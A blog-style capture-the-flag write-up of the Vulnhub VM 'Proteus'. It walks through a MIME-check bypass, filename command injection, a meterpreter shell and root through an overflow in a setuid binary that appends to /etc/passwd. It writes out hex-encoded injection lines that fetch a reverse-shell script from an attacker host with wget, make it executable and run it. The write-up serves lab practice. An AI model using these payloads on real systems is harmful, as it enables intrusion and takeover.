Proteus

Back from the second hiatus of the year, and not wanting to do writeups for the Practical Pentest Labs since they’re scored, I decided to give the most recent Vulnhub VM a try.  Little did I know, I was going to spend a good 15 hours completely engaged with it.

I load up the VM, and do a quick nmap scan to locate it on the host only network:

 

Only 2 ports come up on the basic scan, so I figure running a more intense scan may be worth the effort:

 

It doesn’t look like it was worth it.  Trying to do a manual connect on that 5355 port doesn’t return anything immediately actionable either.  Time to move onto the webpage:

 

 

 

Some quick checks don’t reveal anything particularly interesting (no robots, wfuzz comes back mostly devoid of useful stuff, page source is boring), so I’m left with 2 obvious attack vectors:

  1. The login form
  2. The upload form

The login form is probably the easiest to exhaust basic checks on, so I try that route first………..No dice.  Trying some default user credential combinations doesn’t yield a successful login and basic attempts at SQLi login bypass fail as well. So I turn my focus to the upload form.  Just to see what the form allows me to upload, I try uploading a picture and get a complaint about the mimetype being invalid, so it’s doing some basic checks at the very least.  Modifying a php file with the header of a regular binary such as /bin/ping with hexeditor:

 

 

Bypasses the mimetype check which then spits out the contents of the file directly onto the samples page source:

 

 

This is nifty because I can now manipulate the page directly, but this ends up being a time consuming:

 

XSS on a VM like this is generally useless, so I give up on this route and go back to the drawing board on how I’m going to exploit this login form.  The strings and objdump output on the “Analysed Samples” page make me wonder if it’s running the actual commands on the uploaded files like “strings filename.bin; objdump filename.bin”.  Uploading the ping binary seems to confirm this theory, so I compile a basic C program to use in place of ping:

I confirm that the exploit.bin file can still be uploaded without issue:

 

 

Cool, looks good.  Now to open up Burp and start appending stuff to the end of the filename to see if we can get RCE:

 

 

Burp repeater shows that we have RCE!  I check out the directory, cat the index.php to find nothing useful, and then try to “cat /etc/passwd” only to find that the command failed.  I try running “cat .htaccess” and this fails as well.  It must not like “.” and “/” characters.  This means I have to start encoding my commands. I try doing a basic echo command with a base64 encoded string, but that seems to fail:

 

 

 

Hex encoding the command options seems to work better, however:


 

 

Trying this method to output /etc/passwd also works perfectly:


 

 

Awesome!  I’ve got reliable RCE! Now to turn this into a shell.  I start by checking to make sure python is installed on the target system and confirm that it is.  Next thing is to create an msfvenom payload to start a meterpreter shell up:

Then I need to start up Apache to allow the target a method to download my rshell.py file.  Once that’s done I write out all of the steps I’ll need to get the shell script actually onto the target:

  1. Download the file to /tmp:
    ; string=`echo '2d50202f746d702f20687474703a2f2f3139322e3136382e3233302e312f727368656c6c2e7079' | xxd -r -p`; wget $string;
  2. Make sure the file was downloaded and placed into /tmp:
    ; string=`echo '2f746d70' | xxd -r -p`; ls -lha $string;
  3. chmod +x the file:
    ; string=`echo '2b78202f746d702f727368656c6c2e7079' | xxd -r -p`; chmod $string;
  4. Make sure the chmod took effect:
    ; string=`echo '2f746d702f727368656c6c2e7079' | xxd -r -p`; ls -lha $string;
  5. Execute the file:
    ; string=`echo '2f746d702f727368656c6c2e7079' | xxd -r -p`; python $string;

 

Now that it’s written down, I start the listener, run through all of the steps in Burp repeater, and….

 

 

 

Voila!  We have a working shell!  Looking around the web directory, I found the config.php file and it had MySQL creds in it:

 

 

Logging into MySQL provided me with the password hash for the malwareadm account as well, but I didn’t spend too much time trying to crack it.  Attempting to log into the root account with the MySQL password also failed.  Moving on from there I go down to the “/home/malwareadm/sites/proteus_site” directory and find a root owned setuid binary file called admin_login_logger:

 

 

Attempting to run this file without any arguments provides a usage excerpt.  Inserting a word into it produces valid output:

 

 

I then try to access that file without success:

 

 

At this point, I’m thankful I chose to use a meterpreter shell because it’s a breeze to download/upload files.  This is definitely a file I want to look at locally.  After downloading the file, I create a valid path for the log to be written and I check to see what it writes:

 

 

Ok, it’s writing whatever is added as the argument.  I begin to wonder if I can crash it so I whip out pattern_create.rb and set the output to 500.  I then take that created pattern and use it as the argument for the binary:

 

 

Houston, we’ve got a crash!  What’s even more interesting is that instead of writing to “/var/log/proteus/log” it wrote to a file named after the place in the pattern that broke it:

 

 

Nifty!  Now I need to find out what the position of that pattern was so I can replicate the crash in a more controlled way.  I can’t use pattern_offset.rb, though because I’m not working in GDB and it expects a hex value.  To get over this hump, I wrote a very basic string position script in python:

 

Running this script tells me that the crash happens at 456 bytes.  The next step will be to make a payload that we can control.  I wrote another python script to handle this part:

 

Taking this script, running it, and using the output as the argument for admin_login_logger makes it crash again, but this time writes it to “test” in the current working dir.  The content of the file is the entirety of the payload we gave it:

 

 

Changing the word “test” with the word “/var/log/proteus/test” has the same effect and writes the output to whatever is specified after position 456.  Keeping in mind that this file is run as root via setuid on the target machine, this should mean that we can overwrite files owned by root.  Which takes me to the next discovery in that this binary doesn’t overwrite files, it just appends to them.

I first try to target root’s known_hosts file, but this fails because I can’t separate the buffer text from the end of public key.  I figure the next easiest route at this point will be to just add myself as a root user in /etc/passwd.  After toying with this for a while and having issues with “su” because “/bin/bashAAAAAAAAAAAA…” isn’t a valid shell, I finally landed on something that worked:

 

Running the result of that command as the admin_login_logger argument gives us:

 

 

 

The crash and write to /etc/passwd!  Trying to log in gives us:

 

 

 

Root!  And finally, after navigating to the /root/ dir, copying the flag to “/home/malwareadm/sites/proteus_site/web/public”, and pulling it up from the browser, I am rewarded with:

 

 

Ha!  I feel like a real HACKERMAN after that VM.  Good job @viljoenivan on the awesome VM!  Seriously the most entertaining thing I’ve done in ages!